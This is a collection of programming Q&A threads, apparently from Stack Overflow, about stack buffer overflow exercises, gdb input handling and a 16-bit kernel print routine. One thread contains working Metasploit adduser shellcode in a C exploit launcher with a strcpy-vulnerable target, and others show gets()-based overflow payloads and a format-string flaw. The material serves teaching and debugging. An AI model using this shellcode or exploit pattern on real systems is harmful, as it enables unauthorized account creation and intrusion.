I have a C program that writes a NOP character to stdout:
#include <stdio.h>
int main(char *argc, char *argv[]) {
fwrite("\x90", 1, sizeof(char), stdout);
return 0;
}
I also have another program that takes input, which i am runnning in gdb (so i can view the stack).
After running the first program i copy the NOP from stdout and paste it in GDB as input for the second program.
When viewing the stack i always get this value:
0x00bdbfef
When it should be
0x00000090
Why is this? The problem also seems to occur with python but i cannot pinpoint why.
The utf-8 sequence ef bf bd (keeping in mind the byte reversal of larger data types in some architectures) is the replacement-character code point, the diamond with a question mark within.
Most likely your terminal is unable to render 90 so it gives you that instead. And, when you mark and copy that character elsewhere, that's what it is.
Related
I am working with a set of c programs that I got from a buffer overflow demo. C program "A" sets an environment variable "EGG" and opens up a bash shell. Then from the bash shell opened by program "A", I run program "B" and provide the "EGG" variable as an argument. Program "B" is then supposed to simply copy the EGG variable into memory. Now the "EGG" variable created my program "A" is supposed to overlay everything from program "B"'s buffer through its return pointer, such that the return pointer now points back to the beginning of the value of "EGG" which is a command to create a shell or what have you.
In order to practice with this code, I used metasploit to generated the shell for the linux/x86/adduser payload, made sure to use the '-b "\x00"' option to remove any null bytes, and inserted the shell code into program "A". It did not work. After some debugging with gdb, I discovered that all instances of the \x0a and \x20 bytes in the shell code where being converted into null bytes when passed as an argument to program "B". I went back to metasploit and added \x0a and \x20 to the list of bytes to exclude, got my new payload, and everything worked perfectly.
My questions simply - why? Why would the \x20 and \x0a bytes turn into null bytes?
See code and screenshots from gdb below.
Program "A"
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\xbe\x26\x4d\xed\x2e\xdb\xd9\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x19\x83\xef\xfc\x31\x77\x0f\x03\x77\x29\xaf\x18\x1f\xfc\xa6"
"\x28\x0a\xb8\xe0\x63\x4b\x2e\x14\x24\x7d\x67\x47\xbc\x0e\x04"
"\x1f\x58\x99\xc5\xf0\xd0\x38\x71\x20\x74\xcf\xe2\xb7\x95\x6e"
"\x51\xc3\x94\xf1\x0a\x24\x0e\xf2\x2c\xb5\x22\x97\x58\xd4\xcf"
"\x27\xcc\x79\x59\xbc\x36\xc7\xe3\x13\x22\x8e\x60\x06\x9e\x60"
"\xb3\x9f\x8c\xe3\x81\x2f\x0a\xd4\xcf\x75\x45\x2e\x1f\xe8\xf0"
"\x20\x70\x9f\x6a\xb7\xd7\xd4\x3b\x3b\x8d\xee\xe3\x0e\xd2\x85"
"\x12\xc9\x1e\xd9";
char retaddr[] = "\xaa\xaa\xaa\xaa";
#define NOP 0x90
main()
{
char buffer[176];
memset(buffer, NOP, 176);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 124);
memcpy(buffer+168, retaddr, 4);
memcpy(buffer+172, "\x00\x00\x00\x00",4);
putenv(buffer);
system("/bin/sh");
return 0;
}
Program "B"
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[160];
strcpy(buffer, argv[1]);
return 1;
}
Screenshot of stack at the end of program "A" creating "EGG" variable (highlighted are is the shellcode, 0a and 20 bytes highlighed in red
Screenshot of "EGG" variable after being passed to program "B" (a0 and 20 bytes have are now null, highlighted in red)
I am reading The shellcoder's Handbook and im currently at chapter 2 where i have a simple program to exploit by overflowing the expected input and then issuing a new location for the ret instruction so that the function return_input can be executed twice !
Here is the simple program made in C
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
And this is the disassembled version of the main fucntion where we can see the jump adress of the call function.
I use the following command and input the chars that overflow with the adress following them that should replace ret's content
But as you can see i do not run the return_input function twice instead it just prints out a question mark and says segmentation failed
gets read terminating byte in and replaced it with NULL byte and thus your desired ret was broken with that NULL byte.
The offset you saw in disassembly codes is NOT the real address, you compiled the program with PIE flag set so the real address may look like 0x55555????58a, that's why gdb didn't allow you to insert a break point because you might try to do b *0x58a or something. Compile with -no-pie would make life easier.
I am developing buffer overflow exercises for students. In this context you often have to provide arbitary bytes as input for programs (return addresses).
Assume this example:
#import <stdio.h>
#import <string.h>
void func() {
char buf[4];
gets(buf);
}
int main (int argc, char** argv) {
func();
return 0;
}
Normally I experiment with gdb, until I found a solution, which can then be formulated like
python -c 'print "A"*8+"\x08\x04\88\72"' | ./program
While developing more and more complex exercises, the difficulty to find a solution increases. Sometimes overwriting the return address in gdb via
set {int}address_of_address = new_address
works, but the python-approach does not. It would be nice to debug this and to be able to enter bytes like "\x04" in gdb, while the program is running, analyzing the effects.
Is there any way to do this?
This question seems related but is answered with the python-approach: Sending arbitrary bytes to fgets from stdin
Mine goes beyond that :-/
It would be nice to debug this and to be able to enter bytes like
"\x04" in gdb, while the program is running, analyzing the effects
To do this you need 2 consoles: the first one to enter bytes in program stdin, the second one for gdb debug session.
You can first run program in 1st console until it stops waiting for bytes from stdin. Then run gdb in 2nd console and attach to a program by it's pid. You will be able to debug and enter bytes simultaneously from 2 different consoles.
"while the program is running" is one part of the problem. The other one is being able to set breakpoints beforehand, to "analyze the effects".
GDB's default behaviour is to run the program as a child process, thus using the same standard streams. So it is impossible to write to the child's stdin while being in GDB's CLI because, at this moment, it is being read by GDB, not your program.
The simplest solution, avoiding tty workarounds (tty command + stty setups + reading/writing to /proc/<pid>/fd/{0,1}), is to make your code testable and "callable" from GDB. You'll then be able to pass your string arguments to your functions in order to test and debug them.
For example:
#include <stdio.h>
#include <unistd.h>
void exploitme(char* str)
{
printf(str);
}
int main()
{
while (1)
{
char str[10];
fgets(str, sizeof (str), stdin);
exploitme(str);
}
return 0;
}
exploitme() is the exploit case correctly wrapped in a single entry point so that it is now possible to call it once everything it uses is correctly initialized. You can then call it using command call once main() breakpoint is reached (so that the C runtime inits, performed in main's caller, are done).
~/test $ gdb ./a.out
(gdb) call exploitme("hello")
You can't do that without a process to debug.
(gdb) b main
Breakpoint 1 at 0x4005ae: file helloworld.c, line 14.
(gdb) r
Starting program: /home/julio/test/a.out
Breakpoint 1, main () at helloworld.c:14
14 fgets(str, sizeof (str), stdin);
(gdb) call exploitme("hello")
(gdb) call exploitme("hello\n")
hellohello
(gdb) call exploitme("AAAAAAAA\x08\x04\88\72\n")
AAAAAAA�:
(gdb) b exploitme
Breakpoint 2 at 0x400592: file helloworld.c, line 6.
(gdb) call exploitme("foo")
Breakpoint 2, exploitme (str=0x602010 "foo") at helloworld.c:6
6 printf(str);
The program being debugged stopped while in a function called from GDB.
Evaluation of the expression containing the function
(exploitme) will be abandoned.
When the function is done executing, GDB will silently stop.
Note that you benefit from GDB's argument expansion which includes the C string evaluation.
The other (longer and more complex) solution, as explained, is to run your program under another tty, so that you can independently write to GDB and your program.
EDIT: GDB was not the issue. Bugs in my code created the behaviour.
I am wondering how GDB's input works.
For example I created the following small c program:
#include <stdlib.h>
#include <stdio.h>
int main(){
setbuf(stdout,NULL);
printf("first:\n");
char *inp;
size_t k = 0;
getline(&inp, &k, stdin);
printf("%s",inp);
free(inp);
// read buffer overflow
printf("second:\n");
char buf[0x101];
read(fileno(stdin),buf,0x100);
printf("%s",buf);
printf("finished\n");
}
It reads two times a string from stdin and prints the echo of it.
To automate this reading I created following python code:
python3 -c 'import sys,time; l1 = b"aaaa\n"; l2 = b"bbbb\n"; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush();'
Running the c programm works fine. Running the c program with the python input runs fine, too:
python-snippet-above | ./c-program
Running gdb without an input file, typing the strings when requested, seems also fine.
But when it comes to using an inputfile in gdb, I am afraid I am using the debugger wrongly.
Through tutorials and stackoverflow posts I know that gdb can take input via file.
So I tried:
& python-snippet > in
& gdb ./c-program
run < in
I expected that gdb would use for the first read the first line of the file in and for the second read the second line of in.
in looks like (due to the python code):
aaaa
bbbb
But instead gdb prints:
(gdb) r < in
Starting program: /home/user/tmp/stackoverflow/test < in
first:
aaaa
second:
finished
[Inferior 1 (process 24635) exited with code 011]
Observing the variable buf after read(fileno(stdin),buf,0x100) shows me:
(gdb) print buf
$1 = 0x0
So i assume that my second input (bbbb) gets lost. How can I use multiple input inside gdb?
Thanks for reading :)
I am wondering how GDB's input works.
Your problem doesn't appear to have anything to with GDB, and everything to do with bugs in your program itself.
First, if you run the program outside of GDB in the same way, namely:
./a.out < in
you should see the same behavior that you see in GDB. Here is what I see:
./a.out < in
first:
aaaa
second:
p ��finished
So what are the bugs?
The first one: from "man getline"
getline() reads an entire line from stream, storing the address
of the buffer containing the text into *lineptr.
If *lineptr is NULL, then getline() will allocate a buffer
for storing the line, which should be freed by the user program.
You did not set inp to NULL, nor to an allocated buffer. If inp didn't happen to be NULL, you would have gotten heap corruption.
Second bug: you don't check return value from read. If you did, you'd discover that it returns 0, and therefore your printf("%s",buf); prints uninitialized values (which are visible in my terminal as ��).
Third bug: you are expecting read to return the second line. But you used getline on stdin before, and when reading from a file, stdin will use full buffering. Since your input is small, the first getline tries to read BUFSIZ worth of data, and reads (buffers) all of it. A subsequent read (naturally) returns 0 since you've already reached end of file.
You have setbuf(stdout,NULL);. Did you mean to disable buffering on stdin instead?
Fourth bug: read does not NUL-terminate the string, you have to do that yourself, before you can call printf("%s", ...) on it.
With the bugs corrected, I get expected:
first:
aaaa
second:
bbbb
finished
I am working on an assigment on creating an operating system using some assembly functions and 16 bit C compiler. My task is to print strings on screen using 0x10 interrupt. Since interrupts can be called in assembly file, I have been provided with an assembly file which contains a function called interrupt which takes five arguments : the interrupt number, and the interrupt parameters passed in the AX, BX, CX, and DX.
For example, to print 'Q' with the provided function, I need to write like this:
char al = 'Q'
char ah = 0xE
int ax = ah*256+al;
interrupt(0x10,ax,0,0,0);
OR, simply:
interrupt(0x10,0xE*256+'Q',0,0,0);
in a C program called kernel.c
My task is to write a function printString(char *chars) in C which takes a string and prints it on screen using the discussed assembly function.
I have done it this way:
void printString(char * chars){
int i = 0;
int l = length(chars);
for(; i < l; i++){
interrupt(0x10,0xE*256+chars[i],0,0,0);
}
}
but it prints the string multiple times instead of printing one time.
when I try to print "Hello World", it's printed 11 times, because it contains 11 characters, same is the case with other strings.
I think you need to look for a null character to terminate the read. I've noticed the assembly file does some weird stuff with the character buffers too. I even had multiple characters print when I called the interrupt function directly from main().
Adding the line: while(1); keeps main() from returning. The boot loader executing multiple instances of main() is what causes the repeated output.